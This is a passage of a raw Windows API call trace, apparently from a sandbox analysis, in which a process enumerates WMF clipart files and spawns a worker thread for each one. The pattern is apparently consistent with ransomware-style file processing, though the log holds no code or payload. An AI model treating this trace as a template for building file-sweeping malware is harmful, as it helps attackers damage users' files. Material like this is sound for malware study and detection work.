	[0259.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.735] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1
	[0259.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2104
	[0259.737] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.738] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1
	[0259.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2108
	[0259.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.750] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1
	[0259.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210c
	[0259.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.967] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1
	[0259.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2110
	[0259.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.970] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1
	[0259.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2114
	[0259.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.972] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1
	[0259.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2118
	[0259.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.984] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1
	[0259.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x211c
	[0259.986] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.987] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1
	[0259.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2120
	[0259.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.990] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1
	[0259.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2124
	[0259.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.993] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1
	[0259.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2128
	[0259.995] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.995] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1
	[0259.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x212c
	[0259.999] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.999] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1
	[0259.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2130
	[0260.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.002] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1
	[0260.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2134
	[0260.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.005] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1
	[0260.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2138
	[0260.008] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.008] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1
	[0260.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x213c
	[0260.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.173] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1
	[0260.173] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140
	[0260.176] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.177] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1
	[0260.177] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2144
	[0260.179] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.180] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1
	[0260.180] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2148
	[0260.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.184] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1
	[0260.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214c
	[0260.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.187] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1
	[0260.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150
	[0260.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.190] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1
	[0260.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2154
	[0260.192] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.193] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1
	[0260.193] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2158
	[0260.195] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.196] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1
	[0260.196] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x215c
	[0260.198] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.199] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1
	[0260.199] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2160
	[0260.201] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.202] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1
	[0260.202] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2164
	[0260.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.205] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1
	[0260.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2168
	[0260.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.338] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1
	[0260.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
